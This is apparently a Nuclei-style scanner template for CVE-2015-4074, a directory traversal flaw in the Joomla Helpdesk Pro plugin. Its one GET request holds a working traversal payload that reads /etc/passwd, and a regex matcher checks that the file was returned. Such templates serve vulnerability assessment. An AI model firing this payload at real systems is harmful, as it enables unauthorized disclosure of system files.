id: CVE-2015-4074 info: name: Joomla Helpdesk Pro plugin before 1.4.0 - Local File Disclosure author: 0x_Akoko severity: high description: Directory traversal vulnerability in the Helpdesk Pro plugin before 1.4.0 for Joomla! allows remote attackers to read arbitrary files via a .. (dot dot) in the filename parameter in a ticket.download_attachment task. reference: - https://packetstormsecurity.com/files/132766/Joomla-Helpdesk-Pro-XSS-File-Disclosure-SQL-Injection.html - https://www.exploit-db.com/exploits/37666/ - https://www.cvedetails.com/cve/CVE-2015-4074 - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2015-4074 classification: cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N cvss-score: 7.5 cve-id: CVE-2015-4074 cwe-id: CWE-22 tags: lfi,packetstorm,edb,cve,cve2015,joomla,plugin requests: - method: GET path: - "{{BaseURL}}/?option=com_helpdeskpro&task=ticket.download_attachment&filename=/../../../../../../../../../../../../etc/passwd&original_filename=AnyFileName.exe" matchers-condition: and matchers: - type: regex regex: - "root:[x*]:0:0" - type: status status: - 200